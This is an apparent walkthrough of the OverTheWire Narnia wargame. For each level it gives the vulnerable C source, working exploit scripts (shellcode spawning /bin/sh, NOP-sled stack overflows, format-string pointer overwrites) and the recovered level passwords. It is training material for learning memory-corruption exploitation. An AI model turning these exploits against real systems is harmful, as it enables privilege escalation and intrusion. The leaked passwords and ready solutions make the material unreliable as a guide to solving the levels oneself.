narnia
narnia.labs.overthewire.org 2226
level 0 → level 1
1 2 3 4 5 6 SSH Information Host: narnia.labs.overthewire.org Port: 2226 User: narnia0 Passwords: /etc/narnia_pass/ Binaries: /narnia/
Basic exploitation wargame, 10 levels (0-9). Stack overflows, format
strings, shellcode, ret2libc.
Vulnerability: Stack buffer overflow
(scanf)
Source narnia0.c:
1 2 3 4 5 6 7 8 9 int main () { long val=0x41414141 ; char buf[20 ]; scanf ("%24s" , &buf); if (val==0xdeadbeef ) { setreuid(geteuid(),geteuid()); system("/bin/sh" ); } }
buf[20] + scanf("%24s") reads 24 bytes →
overwrites val at offset 20.
1 2 python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\xef\xbe\xad\xde')" | ./narnia0 cat /etc/narnia_pass/narnia1
WDcYUTG5ul
level 1 → level 2
Vulnerability: Arbitrary code execution via
environment variable
1 2 3 4 5 6 int main () { int (*ret)(); if (getenv("EGG" )==NULL ) exit (1 ); ret = getenv("EGG" ); ret(); }
Executes EGG environment variable as code. Put shellcode
(setreuid + execve /bin/sh) in EGG:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.arch='i386' sc = asm(''' xor eax,eax; mov al,49; int 0x80 mov ebx,eax; mov ecx,eax xor eax,eax; mov al,70; int 0x80 xor eax,eax; push eax push 0x68732f2f; push 0x6e69622f mov ebx,esp; xor ecx,ecx; xor edx,edx mov al,11; int 0x80 ''' )import os; env = os.environ.copy(); env['EGG' ] = scimport subprocessp = subprocess.Popen(['/narnia/narnia1' ], env=env, stdin=subprocess.PIPE) p.communicate(b'cat /etc/narnia_pass/narnia2\n' )
5agRAXeBdG
level 2 → level 3
Vulnerability: Stack buffer overflow
(strcpy, 128-byte buffer)
1 2 3 4 5 int main (int argc, char *argv[]) { char buf[128 ]; strcpy (buf, argv[1 ]); printf ("%s" , buf); }
Offset to return address: 132 bytes (buf[128] + saved ebp[4]). ASLR
disabled, stack executable. Brute-force stack address with NOP sled:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.arch='i386' sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''' ) import subprocessfor addr in range (0xffffd000 , 0xffffe000 , 8 ): payload = b'\x90' *(132 -len (sc)) + sc + p32(addr) p = subprocess.Popen(['/narnia/narnia2' , payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE) try : out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia3\n' , timeout=2 ) if b'PWNED' in out: print (out.decode()); break except : pass
Hit at 0xffffdd18.
2xszzNl6uG
level 3 → level 4
Vulnerability: Stack overflow (strcpy)
into output filename
1 2 3 4 5 6 7 8 9 10 int main (int argc, char **argv) { char ofile[16 ] = "/dev/null" ; char ifile[32 ]; char buf[32 ]; strcpy (ifile, argv[1 ]); ofd = open(ofile, O_RDWR); ifd = open(ifile, O_RDONLY); read(ifd, buf, 31 ); write(ofd, buf, 31 ); }
Overflow ifile[32] into ofile[16] —
redirect output from /dev/null to writable file. Distance from ifile to
ofile: 32 bytes. Create symlink matching the full overflowed path:
1 2 3 4 5 6 cd /tmp && mkdir nx && cd nxINNAME=$(python3 -c "print('A'*32+'BB',end='')" ) ln -sf /etc/narnia_pass/narnia4 "$INNAME " touch BB; chmod 777 BB/narnia/narnia3 "$INNAME " cat BB
iqNWNk173q
level 4 → level 5
Vulnerability: Stack buffer overflow
(strcpy, 256-byte buffer, environ cleared)
1 2 3 4 5 6 int main (int argc, char **argv) { char buffer[256 ]; for (i=0 ; environ[i] != NULL ; i++) memset (environ[i], '\0' , strlen (environ[i])); if (argc>1 ) strcpy (buffer, argv[1 ]); }
Return address offset: 264 bytes (256 buffer + 8 padding). ASLR off,
stack executable:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.arch='i386' sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''' ) import subprocessfor addr in range (0xffffc000 , 0xfffff000 , 16 ): payload = b'\x90' *(264 -len (sc)) + sc + p32(addr) p = subprocess.Popen(['/narnia/narnia4' , payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE) try : out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia5\n' , timeout=1 ) if b'PWNED' in out: print (out.decode()); break except : pass
Hit at 0xffffdca0.
Ni3xHPEuuw
level 5 → level 6
Vulnerability: Format string (snprintf
with user-controlled format, write to local variable i)
1 2 3 4 5 6 7 8 9 10 11 12 int main (int argc, char **argv) { int i = 1 ; char buffer[64 ]; snprintf (buffer, 64 , argv[1 ]); buffer[63 ] = 0 ; printf ("Change i's value from 1 -> 500. " ); if (i==500 ) { setreuid(geteuid(),geteuid()); system("/bin/sh" ); } printf ("i = %d (%p)\n" , i, &i); }
The program leaks &i in output. Position 1 on the
stack contains the first 4 bytes of buffer. Use
%1$496d%1$n to write exactly 500 to i:
1 2 3 4 5 6 7 8 9 10 from pwn import *import subprocessp = subprocess.Popen(['/narnia/narnia5' ,'test' ],stdout=subprocess.PIPE) out,_ = p.communicate() addr = int (out.decode().split('(' )[1 ].split(')' )[0 ], 16 ) payload = p32(addr) + b'%1$496d%1$n' p = process(['/narnia/narnia5' , payload]) import time; time.sleep(0.3 )p.sendline(b'cat /etc/narnia_pass/narnia6' ) print (p.recvall(timeout=2 ).decode())
BNSjoSDeGL
level 6 → level 7
Vulnerability: Buffer overflow overwriting function
pointer
1 2 3 4 5 6 7 8 9 int main (int argc, char *argv[]) { char b1[8 ], b2[8 ]; int (*fp)(char *) = &puts ; strcpy (b1, argv[1 ]); strcpy (b2, argv[2 ]); if (((unsigned long )fp & 0xff000000 ) == get_sp()) exit (-1 ); setreuid(geteuid(),geteuid()); fp(b1); }
Stack layout: b2 at lowest, b1 above,
fp above. Overflow b2[8] → b1[8]
→ fp[4]. The anti-stack check blocks 0xff but
libc (0xf7...) passes.
Use 7 bytes for argv[2] so null stays in
b2. argv[1] = sh;#ABCD (no null
bytes, shell runs via system()).
1 2 3 4 5 6 7 8 9 10 11 #include <unistd.h> int main () { unsigned char arg1[] = { 0x73 ,0x68 ,0x3b ,0x23 ,0x41 ,0x42 ,0x43 ,0x44 , 0xe0 ,0x18 ,0xdd ,0xf7 , 0x00 }; char arg2[] = "AAAAAAA" ; char *args[] = {"/narnia/narnia6" , (char *)arg1, arg2, NULL }; execve(args[0 ], args, NULL ); }
1 2 gcc run6.c -o run6 echo "cat /etc/narnia_pass/narnia7" | ./run6
54RtepCEU0
level 7 → level 8
Vulnerability: Format string overwrite of function
pointer
1 2 3 4 5 6 7 8 9 10 11 int vuln (const char *format) { char buffer[128 ]; int (*ptrf)(); ptrf = goodfunction; snprintf (buffer, 128 , format); return ptrf(); } int hackedfunction () { setreuid(geteuid(),geteuid()); system("/bin/sh" ); }
Leaks addresses. Overwrite ptrf with
hackedfunction via %hn:
1 2 3 4 5 6 7 8 9 10 11 12 13 import subprocess, struct, redummy = "X" * 29 p = subprocess.Popen(["/narnia/narnia7" , dummy], stdout=subprocess.PIPE) out = p.communicate()[0 ].decode() nums = re.findall(r"[0-9a-f]{5,}" , out) ptrf_addr = int (nums[3 ], 16 ) hacked = int (nums[1 ], 16 ) lo, hi = hacked & 0xFFFF , (hacked >> 16 ) & 0xFFFF addr1 = struct.pack("<I" , ptrf_addr + 2 ) addr2 = struct.pack("<I" , ptrf_addr) pad1, pad2 = hi - 8 , lo - hi fmt = f"%1${pad1} d%2$hn%1${pad2} d%3$hn" .encode() payload = addr1 + addr2 + fmt
i1SQ81fkb8
level 8 → level 9
Vulnerability: Stack buffer overflow with corrupted
source pointer
1 2 3 4 5 6 7 8 9 int i;void func (char *b) { char *blah = b; char bok[20 ]; memset (bok, 0 , 20 ); for (i = 0 ; blah[i] != '\0' ; i++) bok[i] = blah[i]; printf ("%s\n" , bok); }
Leak argv[1] with 20-byte payload (loop stops before corrupting
blah), then craft exploit with corrected pointer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import struct, subprocesscontext.arch = "i386" sc = asm(""" xor eax, eax mov al, 49; int 0x80 mov ebx, eax; mov ecx, eax xor eax, eax; mov al, 70; int 0x80 xor eax, eax; push eax push 0x68732f2f; push 0x6e69622f mov ebx, esp; xor ecx, ecx; xor edx, edx mov al, 11; int 0x80 """ )r = subprocess.run(["/narnia/narnia8" , b"E" * 20 ], capture_output=True , timeout=3 ) argv1_20 = struct.unpack("<I" , r.stdout[20 :24 ])[0 ] payload_len = 32 + len (sc) argv1_addr = argv1_20 - (payload_len - 20 ) ret_target = argv1_addr + 32 payload = (b"A" * 20 + struct.pack("<I" , argv1_addr) + b"BBBB" + struct.pack("<I" , ret_target) + sc) assert b"\x00" not in payloadp = subprocess.Popen(["/narnia/narnia8" , payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, _ = p.communicate(input =b"cat /etc/narnia_pass/narnia9\necho DONE\n" , timeout=10 ) for line in out.decode(errors="replace" ).split("\n" ): if line.strip() and "OverTheWire" not in line and "More information" not in line: print (line)
1FFD4HnU4K
level 9
Final level — no exploit required. Wargame complete.